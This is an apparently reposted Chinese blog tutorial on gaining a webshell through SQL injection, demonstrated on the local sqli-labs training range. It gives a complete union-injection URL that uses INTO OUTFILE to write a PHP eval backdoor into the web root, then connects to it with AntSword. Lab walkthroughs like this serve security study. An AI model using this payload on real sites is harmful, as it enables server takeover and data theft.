0


网络安全——基于SQL注入拿到webshell

**作者名:Demo不是emo **

主页面链接:主页传送门
创作初心:****舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:****不要让时代的悲哀成为你的悲哀
专研方向:****网络安全,数据结构

每日emo:****纵是告别,依旧意难平

今天参加远程面试的时候面试官问了这样一个题:“你知道哪些通过注入漏洞获取服务器权限的方法?请详细讲讲,”这我直接愣住了,平时渗透中sql注入我一般用来获取数据库的数据信息,虽然在我记忆中我曾经学过通过注入漏洞获取服务器权限的方法,但已经忘得差不多了,所以今天写一篇博客来巩固一下这方面的知识,希望对您们也有帮助

一:前提条件

想要通过sql注入获取对方服务器权限,需要满足以下条件

(1)当前sql注入用户必须为DBA权限

即--is-dba参数的值为true

很多小伙伴又会问道,那dba权限是什么呢?

DBA权限就其实是数据库的超级管理员权限

只有dba才能创建数据库结构

注意:一般数据库的dba权限都为root

(2)知道网站的绝对路径

知道网站的绝对路径主要是方便我们上传木马文件

不知道怎样找网站的绝对路径的也可以看看我的教程

文章链接http://t.csdn.cn/Hmnfy

(3)My.ini文件中的secure_file_priv为空

如下, 意思就是不限制数据的导入和导出操作

即能够上传木马文件

二:原理讲解

先简单给大家介绍一下流程

1.目标存在sql注入漏洞,且已经获取目标的绝对路径

2.并且通过探测发现目标能够进行数据的导入和导出操作,即secure_file_priv为空

3.当前数据库是最高权限(即dba权限)

4.利用Into outfile() (写入文件的函数),向指定路径写入一句话木马

5.webshell连接工具连接一句话木马,成功获得权限

三:实际操作

这里我们用大家熟知的sqli-labs靶场来给大家演示,如下

模拟环境:

1.已经知道目标存在sql注入,类型为union注入

2.通过各种方法已经获取到目标的绝对路径,为

D:\phpStudy\PHPTutorial\WWW\targetrange\sqli-labs-master\Less-1

3.通过sql注入获取用户名判断出是root用户,即dba权限

页面如下

http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1

1.通过sql注入漏洞写入文件到指定位置

代码如下:

http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php @eval($_POST['cmd']);?>',3 into outfile 'D:\phpStudy\PHPTutorial\WWW\targetrange\sqli-labs-master\Less-1/ab.php' %23

下面跟大家详细介绍一下这个命令的详细功能

http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile 'D:/phpStudy/PHPTutorial/WWW/targetrange/sqli-labs-master/Less-1/ab.php' %23

select 1,'<?php @eval($_POST["cmd"]);?>',3
指定数据

into outfile 'D:/phpStudy/PHPTutorial/WWW/targetrange/sqli-labs-master/Less-1/ab.php' %23
将数据写入目标文件目录的ab.php文件

因为是靶场,所以我们可以先看看指定目录下的文件

可以看到里面只有一个php文件和txt文件,我们执行上面的命令,如下

没有出现报错,说明已经成功写入了,再次查看该位置下的文件,如下

可以确定,一句话木马已经被成功写入

2.使用webshell管理工具连接

因为我平时用蚁剑比较多,这里就给大家用蚁剑演示了,首先打开蚁剑添加数据,输入我们刚才写入的文件的路径 ,密码为cmd

再点击添加数据,页面如下

可以看到已经成功获取了webshell,到这里就成功通过sqk注入拿到webshel了

重新测试了一遍发现其实还是挺简单的,只是平时获取webshell都老想着找文件上传漏洞去了,所以说大家还是得记住sql注入也是可以拿到webshell的哦,只是利用条件比较苛刻,最后,感谢大家的阅读,respect!

标签: 安全

本文转载自: https://blog.csdn.net/qq_63844103/article/details/127950411
版权归原作者 Demo不是emo 所有, 如有侵权,请联系我们删除。

“网络安全——基于SQL注入拿到webshell”的评论:

还没有评论